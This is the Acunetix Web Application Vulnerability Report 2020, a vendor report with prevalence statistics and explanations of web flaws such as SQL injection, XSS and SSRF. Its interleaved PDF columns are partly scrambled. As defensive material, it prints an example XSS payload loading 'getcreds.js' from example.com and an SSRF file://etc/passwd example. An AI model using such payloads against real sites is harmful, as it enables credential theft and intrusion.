Web Application

Vulnerability Report
2020
Contents Executive Summary

Introduction 2
The 2020 edition of the
Methodology 4
Acunetix Web Application
The Data 5 Vulnerability Report contains
Vulnerabilities at a Glance 6
a statistical data analysis for
web vulnerabilities and network
Vulnerabilities by Type 6

High Severity 6
perimeter vulnerabilities.
Medium Severity 7
We prepared the report by doing the following:

Vulnerability Severity 8 • Taking data from Acunetix Online for scans performed
between March 2019 and February 2020
Vulnerability Analysis 9
• Randomly and anonymously selecting 5,000 scan targets
Remote Code Execution 9 • Focusing on High Severity and Medium Severity
SQL Injection (SQLi) 10 vulnerabilities

Blind SQL Injection 11

Our general observations are:
Local File Inclusion and Directory Traversal 12

Cross-site Scripting 13 • The total number of web and network perimeter

vulnerabilities is slightly less than last year
Vulnerable JavaScript Libraries 14
• Relatively new scan targets had more vulnerabilities
Weak Passwords and Missing Brute-Force Protection 15
than others
Reserved Information Disclosure 15

Source Code Disclosure 16 We found the following selected vulnerabilities in the

following percentage of targets:
Server-side Request Forgery 17

Overflow Vulnerabilities 18
• Remote code execution (RCE): 3% (↑ from 2% in 2019)
Perimeter Network Vulnerabilities 19 • SQL Injection (SQLi): 8% (↓ from 14% in 2019)
DoS-related Vulnerabilities 20 • Directory traversal: 4% (↑ from 2% in 2019)

Cross-site Request Forgery 21 • Cross-site Scripting (XSS): 25% (↓ from 33% in 2019)
• Vulnerable JavaScript libraries: 24% (↓ from 33% in 2019)
Host Header Injection 22
• Server-side Request Forgery (SSRF): 1% (1% in 2019)
Directory Listing 23
• Cross-site Request Forgery (CSRF): 36% (↓ from 51% in 2019)
TLS/SSL Vulnerabilities 23 • Host header injection: 2.5% (↓ from 4% in 2019)
WordPress (and Other CMS) Vulnerabilities 24 • WordPress vulnerabilities: 24% (↓ from 30% in 2019)

Web Server Vulnerabilities and Misconfigurations 25

Conclusion 26

the full report below contains more vulnerability

About Acunetix 27
types. we also explain every vulnerability and, if
possible, advise you on how you can fix such issues.

Acunetix Web Application Vulnerability Report 2020 1

Introduction

Welcome to the 2020 edition of Vulnerabilities HIGH SEVERITY MEDIUM SEVERITY

100%
the Acunetix Web Application
84%
Vulnerability Report. 80% 79%
72%

63%
Every year, Acunetix analyzes data received from Acunetix
60% 55%
Online and creates a vulnerability testing report. This
report represents the state of security of web applications 42%
40%
and network perimeters. This year’s report contains the 35%

results and analysis of vulnerabilities detected over the 26%

12-month period between March 2019 and February 2020, 20%

based on data from 5,000 scan targets. This analysis

mainly applies to high and medium severity vulnerabilities 0%
2016 2017 2018 2019
found in web applications, as well as perimeter network
vulnerability data.

The demand for interactive web applications is growing.

While people might think that web applications in general Because of this, web applications use more and more
are slowly getting more secure, the truth is less optimistic. client-side technologies. As a result, the number of
We have observed that applications that are protected by JavaScript libraries keeps increasing. Many of these
web vulnerability scanning are the ones that are becoming libraries have vulnerabilities. Their authors and users know
more secure. We have also noticed that relatively new about these vulnerabilities. And yet, around 25% of web
targets have more vulnerabilities. applications use such vulnerable libraries.

This is worrying from a security perspective. It means It is also interesting when we compare server-side
that new developers do not have the knowledge that is programming languages. We see that PHP remains as
required to avoid vulnerabilities. It also suggests that popular as before. The second most popular language is
these developers are working within a development ASP.NET, but developers more and more often use other,
structure that does not promote web security. Old habits, less popular server-side languages.
unfortunately, die hard.

We discovered Cross-site Scripting (XSS) vulnerabilities,

Usage of server-side ColdFusion Python
vulnerable JavaScript libraries, and WordPress-related programming languages Erlang
Perl JavaScript Static files
issues in 25% of the sampled targets – certainly
100% Scala
a lot. This means that web applications are still quite Ruby
vulnerable, but even so, this number is 30% less than 80% Java
for the last year. It seems that experienced website ASP.NET
60%
developers and system administrators are making
PHP
progress. The situation is similar for SQL Injection
2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020
issues – just like last year, the numbers are decreasing.

DATA OBTAINED FROM:

https://w3techs.com/technologies/history_overview/programming_language/ms/y (MAR 2020)

Acunetix Web Application Vulnerability Report 2020 2

When we talk about One conclusion comes to mind when we consider this
together with general statistics from the previous graph. It
vulnerabilities, the seems that the PHP+Apache/nginx platform is becoming
situation is different. more secure, mature, and robust. The market also
keeps favoring this platform. On the other hand, the
ASP/ASP.NET+IIS platform is slowly losing popularity. At
See the graph below:
the same time, it is still not as robust and mature as we
would hope.
• The percentage of PHP vulnerabilities has declined
a lot. The percentage of ASP or ASP.NET vulnerabilities
PHP is so popular because a lot of PHP sites are WordPress
is growing.
sites. WordPress sites are often unsafe but rather static.
After you select the theme and plugins, you don’t change
• The percentage of vulnerabilities in Apache/nginx
much. The attack surface changes only when you update
has declined a lot. The percentage of IIS vulnerabilities
WordPress, themes, and plugins. And most of these
is growing.
updates are security updates.

This also suggests that ASP/ASP.NET web applications

Why might this be? are more actively developed. The high percentage of
vulnerabilities may be caused by active development.
• We assume that most ASP/ASP.NET web applications
run on IIS web servers.

• We assume that most PHP web applications run on

Apache or nginx web servers. Percentage of vulnerabilities detected in various platforms

• We observe that the trend for PHP is similar to the trend

for Apache/nginx. IIS ASP/ASP.NET Apache/nginx PHP

• We also observe that the trend for ASP/ASP.NET is 25%

similar to the trend for IIS.

20%

15%

10%

5%
2018 2019

Acunetix Web Application Vulnerability Report 2020 3

Methodology

We took a random sample of 5,000 scan targets from

Reporting
Acunetix Online from one year back. This sample included
web application and network perimeter security scans. You can view the progress of a scan in real-time, but the

We excluded scans for websites that are intentionally results of a scan are typically summarized in reports.

vulnerable for educational purposes. You can use reports for compliance and management
purposes. Acunetix offers several report templates for
different purposes, for example, OWASP Top 10 and
How Automatic Web ISO 27001 reports.
Scanning Works
Remediation
Acunetix Online can perform dynamic application security
testing (DAST) scans (also called black-box scans), as well Fixing vulnerabilities:

as interactive application security testing (IAST) scans (also

Patching
called gray-box scans).
First, export Acunetix data to a web application firewall
(WAF). This lets you temporarily defend against an
A DAST scan means that the scanner has no information
attack while you work on a fix.
about the structure of the website or used technologies. An
IAST scan means that the scanner has “insider information”
Issue Management
about the web application. In Acunetix, this is possible
When you integrate with issue trackers like JIRA,
thanks to AcuSensor technology. You install AcuSensor
GitHub, and GitLab, you can track vulnerabilities from
agents on the web server for Java, ASP.NET, and PHP
the moment they are discovered to resolution. You can
applications. The agents send information from the web
also integrate with continuous integration solutions
server back to the scanner.
such as Jenkins.

When scanning, you typically follow the following four

Continuous Scanning
stages and repeat them if necessary:
Acunetix can perform scheduled scans. You can use
them to make sure that vulnerabilities are really fixed.
Crawling
The Acunetix crawler starts from the home or index
page. Then it builds a model of the structure of the web
application by crawling through all links and inputs.
It simulates user+browser behavior to expose all the
reachable elements of the website.

Scanning
Once the crawler has built the website model, each
available page or endpoint is automatically tested to
identify all potential vulnerabilities.

Acunetix Web Application Vulnerability Report 2020 4

 The Data

We gathered the data analyzed in this report

from scans run in Acunetix Online. We focused
on high and medium severity vulnerability
alerts in web and network scans.

Web scans Network scans Average locations scanned per month

200,000 150,000 3,000,000
134,361 2,660,000

156,291 2,500,000
120,000
150,000

2,000,000
90,000

100,000 67,355 1,500,000

1,276,000
76,686
60,000

1,000,000
50,000
30,000
500,000

0 0 0
2018 2019 2018 2019 2018 2019

AverageHTTP
Average HTTPrequests
requests sent
sent perper month
month Average vulnerability alerts triggered per month
Average vulnerability alerts triggered per month
350,000,000 250,000
315,000,000
222,000
300,000,000
200,000
250,000,000
223,000,000

200,000,000 150,000 135,760

150,000,000
100,000

100,000,000

50,000
50,000,000

0
0
2018 2019 2018 2019

Acunetix Web Application Vulnerability Report 2020 5

Vulnerabilities at a Glance

This section lists all the detected vulnerabilities.

Vulnerabilities by Type

The charts list vulnerabilities by type. They are grouped by the vulnerability severity level.

HIGH SEVERITY

This chart illustrates vulnerability types that fall into our High Severity category.

24.52%
25% 24.06% 23.81%

20%

15% 13.86%

10%
7.94%
6.76%

4.83%
5%
3.03% 2.82%
1.43% 1.39% 1.48%
0.43% 0.73%

0%
s

s
er ure

s
ds
S

er RF

P)

l)

S)
)
E

Li

pa rie

ie

tie

SH
sa

ai
JS XS
RC

or

N
FT
SQ

lit
s

SS

ili
ak bra

m
r

(S

(D
lo
w
ve

bi

et rk (
ab

(e
ss

ss disc

k
tra

li

k
or

or
o

or
w
w
ln

ln

w
y

de

w
et
or

et
vu

vu
e

et
bl

co

N
ct

N
e

N
ow
ra

N
ire

W ce

re
ne

rfl
/d

dP
ur
l

ve
Vu

So

or
I

O
LF

Acunetix Web Application Vulnerability Report 2020 6

Vulnerabilities at a Glance

MEDIUM SEVERITY

This chart lists vulnerability types that fall into our Medium Severity category.

40%
35.90% 36.17%

35%

30%

25%

20%

15%
10.88%
10%

5.78%
5%
2.48%

0%
io r

tin y

ili SL
oS

ct e

lis tor
je d
SR

ab /S
n

s
in hea
D

tie
c

er TLS
C

ire
D
t
os
H

ln
vu

We utilize Acunetix to more thoroughly assess internet-facing websites and

servers. Acunetix helps us identify vulnerabilities in conjunction with other
vulnerability scanning applications. Acunetix has been a more reliable
application when discovering/determining different types of malicious code
injection vulnerabilities (SQL, HTML, CGI, etc).

Carter Horton, Assoc. Information Analyst, GD Information Technology

Acunetix Web Application Vulnerability Report 2020 7

Vulnerability Severity

What is a Vulnerability?
A vulnerability is a flaw in an application or device that the impact that the exploit may have on the system.
can be exploited by malicious hackers. Attackers can Severity also depends on how difficult it is to exploit the
exploit a vulnerability to achieve a goal such as stealing vulnerability.
sensitive information, compromise the system by making
it unavailable (in a denial-of-service scenario), or Your business may have many systems running
corrupt the data. simultaneously – and some are more critical than others.
Acunetix allows you to grade these systems using business
The impact of vulnerabilities varies depending on the criticality. Essential systems have a higher criticality than
exploit. Acunetix assigns severity mostly depending on non-essential ones.

High Severity Medium Severity Low Severity

This level indicates that an attacker can This level indicates that an attacker can This level indicates that an attacker
fully compromise the confidentiality, partially compromise the confidentiality, can compromise the confidentiality,
integrity, or availability of a system integrity, or availability of a target integrity, or availability of a target
without specialized access, user system. They may need specialized system in a limited way. They need
interaction, or circumstances that are access, user interaction, or circumstances specialized access, user interaction,
beyond the attacker’s control. It is very that are beyond the attacker’s control. or circumstances that are beyond
likely that the attacker may be able to Such vulnerabilities may be used the attacker’s control. To escalate an
escalate the attack to the operating together with other vulnerabilities to attack, such vulnerabilities must be used
system and other systems. escalate an attack. together with other vulnerabilities.

COMBINED VULNERABILITIES

In most cases of Medium Severity and Low Severity vulnerabilities, the attack is possible or more dangerous when the
attacker combines it with other vulnerabilities. Such vulnerabilities often involve social engineering.

Acunetix Web Application Vulnerability Report 2020 8

Vulnerability Analysis
Remote Code Execution

Remote Code Execution ANALYSIS

(RCE) is at the top of the High The percentage of web applications vulnerable to RCE is
Severity list. An attacker can low but it was much lower last year (2%). This is worrying

use this vulnerability to run because this vulnerability can cause serious damage. Such
vulnerabilities must be fixed as first priority.
arbitrary code in the web
application.
If the attacker can run code, they can take it to the next
level by running commands in the operating system. They
may be able to completely take over the system and
possibly create a reverse shell – an outbound connection
from the host to the attacker.

In many cases, this bypasses firewall configurations. Most

firewall configurations block inbound connections, not RCE – 3%
outbound connections. If outbound connections are not
verified, the attacker can use a compromised machine to
reach other hosts, possibly getting more information or
credentials from them.

Acunetix Web Application Vulnerability Report 2020 9

SQL Injection (SQLi)

An SQL Injection (SQLi) attack SQL Injection has been around for a long time, and is one
of the most common and most damaging vulnerabilities. It
is possible if the developer is also well known. Many tools and techniques are available
does not examine or validate to defend against such attacks, but malicious hackers also

user input. have many tools to exploit these vulnerabilities.

SQL Injections often let an attacker obtain access to

As a result, attackers can input an SQL query that is
customer records, personally identifiable information (PII),
then executed by the backend database. Such a query
and other confidential data. With GDPR legislation, this is
may reveal, add, or delete records or even entire tables.
becoming increasingly important. Lack of compliance may
This can impact the integrity of the data and possibly
lead to big fines.
completely stop the web application (denial-of-service).
Such vulnerabilities may allow the attacker to create or
change files in the host system or even run commands.
They may also allow the attacker to move to other hosts.

SQLi – 7.94%

Acunetix Web Application Vulnerability Report 2020 10

Blind SQL Injection

Blind SQL Injection is ANALYSIS

a more complex version of We found that 8% of analyzed targets had at least

SQLi. Attackers use it when one SQLi vulnerability. This was very unexpected. SQL

traditional SQLi is not possible. Injections first appeared in 1998. All major development
environments and frameworks include tools to eliminate
them. SQL Injections should not be so common.
Blind SQL Injections take a lot of time and a large number
of requests. A system administrator may notice the attack
The correct way to defend against SQL Injection attacks
by checking for a large number of requests using simple
is to use parameterized SQL queries. Practically all
log monitoring tools.
frameworks and languages today make it possible.
The large number of SQL Injection vulnerabilities may,
This attack is called “blind” because the attacker cannot
therefore, be caused by older applications that were
cause the web application to directly expose data. The
written when these tools were not available.
trick is to use conditional elements of an SQL query, for
example, one that returns true and the other that returns
false. If the application behaves differently in these two
cases, it may let the attacker retrieve information one
piece at a time. Another trick is to use SQL statements that
cause time delays – depending on the delay, the attacker
knows how the statement was executed.
Blind SQLi – 3.8% Union/error SQLi – 4.14%

Acunetix Web Application Vulnerability Report 2020 11

Local File Inclusion and Directory Traversal

Local file inclusion (LFI) and ANALYSIS

directory traversal (path We found 4% of sampled targets vulnerable to directory

traversal) vulnerabilities let traversal. A further 1% were vulnerable to local file

the attacker access the host inclusion. Last year, the figure for directory traversal was
only 2%. This is worrying because this is a very old and
system. The attacker may well-known vulnerability.
do it by using “..\” or “../” to
reference a parent directory.
In the case of directory traversal, the attacker may read
files that should not be accessible. In the case of Linux
and UNIX, the attacker may use the /proc directory to LFI – 1%
access software components, hardware devices, attached Directory
filesystems, network, and more. They may also use the traversal – 4%
/etc directory to access confidential information such as
usernames, group names, and passwords.

In the case of local file inclusion, the attacker might be

able to not only read files but also to include code from
them. If the attacker can upload source code files, they
can then execute this code on the web server.

Acunetix Web Application Vulnerability Report 2020 12

Cross-site Scripting (XSS)

Cross-site Scripting (XSS) Reflected (or non-persistent) XSS is a variant

where the injected script is not stored by the web
occurs when the attacker application. The attacker delivers a web address to

injects malicious scripts into the victim using social engineering (e.g. phishing).
The victim clicks the link, goes to the vulnerable
a web page, usually JavaScript. page, and the victim’s browser executes the script.

Interactive web applications need to execute scripts in your DOM-based XSS is an advanced type of XSS. In this
local browser and this makes Cross-site Scripting possible. case, the attacker creates a script that is executed by the
browser’s DOM (Document Object Model) engine. The
This type of vulnerability is mostly caused by developers injected script is often not sent to the server at all. This type
failing to validate or sanitize user input. If the user includes of XSS is common in JavaScript-rich sites such as single-

JavaScript code in a form and the developer uses that page applications (SPAs).

form input directly on the web page, it guarantees an

You can use CSP (Content Security Policy) to combat these
XSS vulnerability.
attacks, but this feature is still not popular enough among
web developers.
For example, a malicious user may enter the following
message into a forum:

Thanks for your help! <script src="http:// ANALYSIS

example.com/getcreds.js">
An alarming 25% of sampled targets were vulnerable to
some type of XSS. Thankfully, this is less than last year, but
This message is then included in the forum thread. If
developers still have a lot of work to do to defend users.
another user opens this page, their browser will execute
the JavaScript code. This code downloads malicious
New JavaScript templates and frameworks keep
JavaScript from the attacker’s website (in this case from
appearing on the market and gain popularity.
example.com).
Unfortunately, versions of these templates and
frameworks with known vulnerabilities are also in use.
There are 3 main types of
XSS vulnerabilities: XSS – 24.52%

• Stored (or persistent) XSS

• Reflected (or non-persistent) XSS AngularJS template

injection – 0.52%

• DOM-based XSS

Stored (or persistent) XSS occurs when the attacker injects DOM XSS – 1.23%
script code that is then stored by the web application.
When someone visits the page with the stored script, this
script is executed by their web browser. This is the most
effective type of XSS attack.

Acunetix Web Application Vulnerability Report 2020 13

Vulnerable JavaScript Libraries

JavaScript libraries help to ANALYSIS

make development faster We found that 24% of sampled targets use JavaScript
and easier, but some library libraries with known XSS vulnerabilities. Most often, these

versions can be vulnerable. libraries were old versions of jQuery, jQuery UI, jQuery-
migrate, jQuery-prettyPhoto, Plupload, YUI, and Moment.js.

Many web applications rely on outdated

The jQuery library is much more popular than other libraries,
JavaScript libraries, for example, old and
so we perform many more checks specifically for jQuery. Do
vulnerable versions of jQuery. This can
not assume that, for example, Moment.js is a more secure
introduce Cross-site Scripting vulnerabilities.
library. It may simply be used less often.

jQuery-prettyPhoto – 0.84% Plupload – 0.61%

jQuery-migrate – 4.33% YUI – 0.38%

Moment.js – 0.38%

jQuery-UI-Dialog – 12.16%

jQuery – 81.31%

Acunetix Web Application Vulnerability Report 2020 14

Weak Passwords and
Missing Brute-Force Protection

Weak passwords are usually ANALYSIS

short, common words or We found that 1% of sampled targets use weak or default
default values. passwords. This problem is easy to solve but very dangerous,
so it is good that this vulnerability is not more common.
An attacker can easily guess such a password when
they encounter a login prompt. In some cases, We also found that 28% of web applications did not have
you can guess weak passwords using a dictionary any brute-force protection on their login pages. This means
attack. In other cases, weak passwords are simply that an attacker can make unlimited repeated guesses.
default username and password combinations
like admin/admin or admin/password.

Reserved Information Disclosure

Certain types of information Disclosure of an internal IP address is less risky. However,

combined with other vulnerabilities such as SSRF, it may
should be reserved and never let an attacker reach the system from another, less secure
disclosed to the outside world. machine. We found that 5.5% of sampled targets disclosed
such information.
Obviously, different types of information disclosure have
different levels of severity. More than 32% of targets intentionally revealed email
addresses. Obviously, this is not always a vulnerability
Disclosure of personally identifiable information is a high because some businesses risk spam to make it easier for
severity issue. We found credit card disclosure and social customers to reach them.
security number disclosure in 1% of sample targets.

Credit card
0.98%
disclosure

Social security 0.82%

number disclosure

Internal IP
address found 5.53%

Email address
32.71%
found

0% 5% 10% 15% 20% 25% 30% 35%

Acunetix Web Application Vulnerability Report 2020 15

Source Code Disclosure

Source code disclosure ANALYSIS

vulnerabilities show two We found that 3% of sampled targets were vulnerable to

problems. If you expose source code disclosure attacks.

custom code, you make it

easier for an attacker to find
vulnerabilities in your code.
The attacker might also find other critical and sensitive
information such as credentials or API keys used by the
developer to integrate with internal or external services.

For open-source code, the attacker can check the

components and component versions used to build the
web application. This helps the attacker develop
attacks that target known vulnerabilities in those Source code
component versions. disclosure – 3%

An attacker may also use code disclosure to find LFI

vulnerabilities. By analyzing how you built part of
a solution, attackers can guess the entire file structure
of the component. They can then use this to access
configuration files that contain credentials for back-end
databases. You should never disclose any source code, no
matter if it is your own code or open-source code.

Acunetix Web Application Vulnerability Report 2020 16

Server-side Request Forgery

Server-side Request Forgery After Acunetix begins the test, AcuMonitor waits for
connections from your web application. Your Acunetix
(SSRF) vulnerabilities occur scanner also contacts AcuMonitor to see if it received
when the attacker is able to any requests from your web application. If AcuMonitor

make the web application send receives such a request, the vulnerability is confirmed
with 100% certainty.
crafted data to another server.
ANALYSIS
Developers often allow such exchanges without
a challenge because they consider them internal and We found 1% of survey targets to be vulnerable to Server-
trusted. An attacker may create or forge requests from side Request Forgery. Even though SSRF is not very
a vulnerable server by replacing URLs with addresses that common compared to other high severity vulnerabilities,
the server trusts. it may be fatal. The attacker may use it to examine the
network, perform port scans, or send a flood of requests to
This vulnerability is most common for internal systems that overload a component (DoS).
do not allow connections from the internet or that use an
IP whitelist. They often let other internal systems access
information or services without authentication. These may
include databases, caching engines, service monitoring
tools, and others.

This attack technique mostly uses URL substitution.

Attackers can use URLs like file:// to trick the web
application into exposing file content. For example, Server–side
Request Forgery – 1%
file://etc/passwd would expose user account details.

To detect SSRF and other out-of-band vulnerabilities,

Acunetix uses the AcuMonitor service. This service requires
no installation or configuration in Acunetix Online. In the
case of Acunetix on-premise, you need to register, but it is
a simple one-time process.

SSRF SSRF

Port 80, 443

allowed

Acunetix Web Application Vulnerability Report 2020 17

Overflow Vulnerabilities

Overflow vulnerabilities occur ANALYSIS

when the attacker can insert We found 1.5% of sampled targets with overflow
too much data. vulnerabilities like buffer overflows, integer overflows, heap
overflows, and stack overflows. This is less than last year
If the developer does not check the bounds of variables so the situation is slowly improving.
stored in memory, excess data can overflow into memory
locations containing other data or even executable code.
This can cause data corruption or allow the attacker to
execute their own code.

This class of vulnerability can only occur in applications

written using certain programming languages, such as
C and C++. In these languages, memory management is
done by the developer, not the language itself. Most other
programming languages handle memory management
during compilation. Overflow
vulnerabilities – 1.5%
The most common overflow vulnerability is buffer overflow.
There are two types of buffer overflows: stack overflows
and heap overflows. Stack memory is a region of memory
reserved for variables created by a function for local use
(within that same function). When the function exits, it
automatically releases the memory that it used. Heap
memory is used for variables with a global scope and the
developer needs to allocate and release memory explicitly.

Acunetix Web Application Vulnerability Report 2020 18

Perimeter Network Vulnerabilities

Every local network is ANALYSIS

shielded from the outside We found 15.5% targets with SSH-related vulnerabilities.
world (the Internet) using SSH keys protect access to resources. As your business

edge or perimeter devices. grows, so does the number of SSH keys in use, and this
may cause some issues. For example, simply keeping track
of a large number of keys can be difficult. What often
These provide functions and services such as routing,
happens is that organizations create new keys without
NAT/PAT, VPN, and firewalling. Servers, such as web
removing old ones.
servers, mail servers, DNS servers, are also often located
on the perimeter of the local network and accessible
Surprisingly often, businesses use the same keys for many
from the Internet.
services, which is very bad practice. This makes it harder
to change or revoke keys, and the situation gets even
If you do not regularly maintain such devices and
worse if keys are embedded into internal software systems.
services to update their operating systems and software,
As a result, keys become static and are not changed on
vulnerabilities can appear. Vulnerabilities can also appear
a regular basis. This gives opportunities to attackers.
when you misconfigure a device or a service.

We found 7% targets with FTP-related vulnerabilities.

Many of these services are now being moved out of
Most of these vulnerabilities were low severity
internal networks and into the cloud. Therefore, it
vulnerabilities or misconfigurations, mostly FTP server
might be difficult to tell the difference between a LAN
information and version disclosure. We also found 1.4%
service, a WAN service, and a perimeter/edge service.
targets with mail-related vulnerabilities and 1.5% targets
However, regardless of the location of the service, if
with DNS-related vulnerabilities.
your critical network elements have vulnerabilities or
are misconfigured, they may expose critical data and
potentially allow an attacker to bypass authentication.

20%

15.5%

15%

10%

7%

5%

1.5% 1.4%

0%
ed

ed
ed

ed

at

at
at

at

el

el
l

l
re

re

l-r

-r
S-

P-

H
ai

SS
N

FT

m
D

Acunetix Web Application Vulnerability Report 2020 19

DoS-related Vulnerabilities

Denial-of-service (DoS) • An XML bomb – an XML document aimed at overloading

an XML parser (e.g. the billion laughs attack)
attacks are designed to
bring down a system – to Such vulnerabilities are not included in this section about

make it non-responsive or DoS-related vulnerabilities.

impossible to access.
Attackers often do this simply by flooding the target ANALYSIS
with requests that block or obstruct regular traffic. This
is sometimes called a volumetric attack because it is the We found 11% of targets with denial-of-service
volume of requests that causes the damage. Popular tools vulnerabilities, 7.5% of them vulnerable to SlowLoris (an
that attackers use are Low Orbit Ion Cannon and High application-based DoS vulnerability).
Orbit Ion Cannon.

A SlowLoris attack uses all possible connections to

Application-based denial-of-service is more refined. the web server. The attacker makes requests but never
First, the attacker makes regular requests and measures closes them. Regular users cannot connect until attacker
response delay. Some requests require more processing connections expire.
time and are more expensive for the target. The attacker
chooses the most expensive requests and uses them for The good news is that the number of targets vulnerable to
the actual attack. This way, they can use fewer requests to DoS has been decreasing for 4 years.
achieve the same goal.

DoS attacks are very difficult to defend against because Other DoS
Slow HTTP – 7.53%
the requests appear to be legitimate. There are some tools vulnerabilities – 3.35%

that can help you, but the attacker may also use multiple
hosts to send requests, making a distributed-denial-of-
service (DDoS) attack.

Other Vulnerabilities that

Cause a Web Server DoS
Note that there are other vulnerabilities that directly lead
to a DoS effect on a system. Most vulnerabilities can be
exploited in such a way. For example:

• An SQL injection that issues a DROP TABLE command

• A code injection where the injected code calls itself so

many times that the server runs out of resources

Acunetix Web Application Vulnerability Report 2020 20

Cross-site Request Forgery

Cross-site Request Forgery ANALYSIS

(CSRF) vulnerabilities occur We found that 36% of sampled targets were vulnerable to
when a web server receives an Cross-site Request Forgery or had an HTML form without

unauthorised request from an anti-CSRF token.

a trusted browser. Web developers can use many mechanisms to defend

against CSRF. Most of these work by adding extra
Browser requests sent to a web server may include user’s authentication data into the exchange. This way, the web
session cookies – this almost always happens if the user application can detect requests that come from an impostor.
has already logged in to a site.

An attacker can create a malicious link that lets them

execute a particular action, for example, transfer money
from a user’s online bank account to another account. The
attacker can place this link on a website that they control
and convince the user to click this link (social engineering).
The user clicks the link and sends the request to the server.
Because the user is already logged in, the server executes
the action using their account.

CSRF – 36%

Acunetix Web Application Vulnerability Report 2020 21

Host Header Injection

Host header injection ANALYSIS

vulnerabilities occur when We found 2.5% of sampled targets to be vulnerable to

an application dynamically host header injection. While host header injection can be

creates HTTP headers using dangerous, it is not easy to exploit. The attack can only
succeed in very specific and unlikely conditions.
data supplied by the user.
Some application developers trust the security of host
headers to import stylesheets, scripts, and links – even
for password reset purposes. Without multi-factor
authentication (MFA), an attacker can even gain complete
control of a user’s account.
Host header
injection – 2.5%
Another attack based on host header injection is web
cache poisoning. The cache then serves the attacker’s
payload to users.

Directory Listing

Directory listing is what ANALYSIS

a web server does when the We found 6% of sampled targets to be vulnerable

user requests a directory to directory listing misconfigurations. This result is

without an index file. not surprising, especially because directory listing is

enabled by default on the Apache HTTP Server. Apache
administrators should follow basic hardening guides to
If the web server is configured with directory listing turned
protect their servers.
on, it shows the contents of such a directory. If the files are
readable by the web server, the attacker may be able to
view the contents of the files. This can escalate to higher
severity issues, for example, source code disclosure. It may
also expose configuration files that contain, for example,
credentials for back-end databases.
Directory listing – 6%

Acunetix Web Application Vulnerability Report 2020 22

TLS/SSL Vulnerabilities

Transport Layer Security ANALYSIS

(TLS) and its predecessor, We found nearly 47% of sampled targets with TLS/SSL
Secure Socket Layer (SSL), issues. The majority of these (more than 38%) had broken

are protocols used to ciphers (TLS 1.0, RC4) in the allowed cipher list.

authenticate and encrypt We believe it is worrying that very famous vulnerabilities

connections and verify the (sometimes called “superbugs”) are still visible. Our target
sample data shows these items: BREACH (3.9%), POODLE
integrity of data exchanged (3.9%), and DROWN (0.7%). We were not expecting to find
between clients and servers. so many targets with such old and critical issues.

Every website on the Internet should encrypt

communications between the user and the server.
This is especially important for websites that handle
sensitive data. Encryption creates a secure channel to
exchange information such as identification numbers
and documents, financial information (for example,
credit card numbers), login credentials, and so on.
TLS 1.0 enabled – 30.7%

Older variants of SSL and TLS are vulnerable to

many attacks. An attacker who identifies a web
server that still uses such versions (usually because
of a misconfiguration) may be able to crack or
bypass encryption and access information that
is exchanged between the server and users.

RC4 enabled – 7.7%

POODLE – 3.9%

BREACH – 3.9%
DROWN – 0.7%

Acunetix Web Application Vulnerability Report 2020 23

WordPress (and Other CMS) Vulnerabilities

Estimates show that, as of ANALYSIS

January 1st, 2020, more We found that 35% of sampled targets had one or more
than 35% of all websites are vulnerabilities linked to this group of CMS platforms.

WordPress-powered.* The impact of these vulnerabilities can vary depending on

the type of vulnerability. This may range from
Cross-site Scripting through SQL Injection all the way
WordPress is so popular that it is no surprise that attackers to remote code execution.
focus on it. When it comes to WordPress security, there
are three components: WordPress core, UI themes, and
functionality plugins.

The development community that builds WordPress core is

strong and mature. Discovered or reported vulnerabilities Joomla! Drupal
are immediately investigated and quickly fixed. WordPress Issues – 9.4% Issues – 1.9%
now performs automatic upgrades for security updates
(minor version number increments) and sends notifications WordPress
Issues – 23.8%
to the system administrator about successful and
unsuccessful upgrades.

The situation is different for plugins and themes. Any

author can use these mechanisms to add functionality
to WordPress. The security and quality of these addons
vary significantly. The more popular the addon becomes,
the bigger the risk for security. Unfortunately, when an
attacker discovers an exploit, they can attack sometimes
even tens of thousands of WordPress installations that use
the vulnerable plugin or theme.

Joomla! and Drupal

Considerations

Joomla! and Drupal are also CMS systems with many users,
but they are not as popular as WordPress. Joomla! and
Drupal both have addons that expand their functionality.
Similarly to WordPress, the core is maintained by a trusted
group of developers and contributors, while addons are
more likely to contain vulnerabilities. *usage statistics and market share of wordpress,
https://w3techs.com/technologies/details/cm-wordpress.

Acunetix Web Application Vulnerability Report 2020 24

Web Server Vulnerabilities and Misconfigurations

There are 2 general types of ANALYSIS

web server vulnerabilities. We found that 46% of sampled targets had web server
vulnerabilities or misconfigurations. Unsurprisingly, most
The first category are vulnerabilities in web server
misconfigurations in this category were related to version
software. These are monitored by web server vendors and
disclosure. Web servers often disclose their make and
often discovered by them, not by users. They are fixed by
version in response to simple requests. While this is not
updates or patches. Security best practice is to always
strictly classified as a vulnerability, it may provide an
update web server software to the latest version.
attacker with useful information.

The second type of web server vulnerabilities are

In other cases, old versions of web servers were identified
misconfigurations. These are configurations that expose
that contained vulnerabilities, mostly related to denial-of-
the web server to attacks.
service or information disclosure.

Vulnerabilities in web servers may range from information

disclosure all the way to a remotely exploitable buffer
overflow vulnerability that could allow an attacker to
escalate an attack to remote code execution (RCE).

25% 24.5%

20%

15%

10%
7.3%

5%

1.5%

0%
IIS Apache nginx

Acunetix Web Application Vulnerability Report 2020 25

Conclusion

After analyzing the results are not about which systems you use but how you use
them. Web application vulnerabilities such as SQL
of this report, we can say Injection and remote code execution appear because of
that we are very slowly going poor design and programming, even if you choose

in the right direction. The best-of-class software and components.

number of vulnerabilities is The best way to improve web application security

decreasing but only gradually. is to introduce security testing automation into the
development lifecycle. This means integrating web

We are still far from being secure on the web – more vulnerability scanning with issue trackers, continuous

than 25% of web applications have at least one high- deployment environments, and similar tools.

severity vulnerability.
Acunetix continues to expand its integration capabilities.

To keep your web resources secure, you must be very Simply put, we keep making Acunetix faster (less time

careful all the time. If you have experience as a network to scan the same web application), smarter (fewer

or system administrator, you may think that proper requests needed to scan), easier (improvements to the

version and patch management will keep you secure. user interface), and more integrated (we keep adding

Unfortunately, this is not the whole solution. Keeping a web integrations with more and more systems).

application safe is much more difficult. Most vulnerabilities

About Acunetix
Acunetix is a global web security leader. As the first Our mission is to provide you with a trustworthy web
company to build a fully dedicated and fully automated security solution that protects all your assets, aligns with
web vulnerability scanner, Acunetix carries unparalleled all your policies, and fits perfectly into your development
experience in the field. The Acunetix web vulnerability lifecycle. The Acunetix platform frees up your security
scanning platform has been recognized as a leading team resources. It can detect vulnerabilities that other
solution multiple times. It is also trusted by customers technologies would miss because it combines the best of
from the most demanding sectors including many fortune dynamic and static scanning technologies and uses
500 companies. a separate monitoring agent. It is your platform of choice
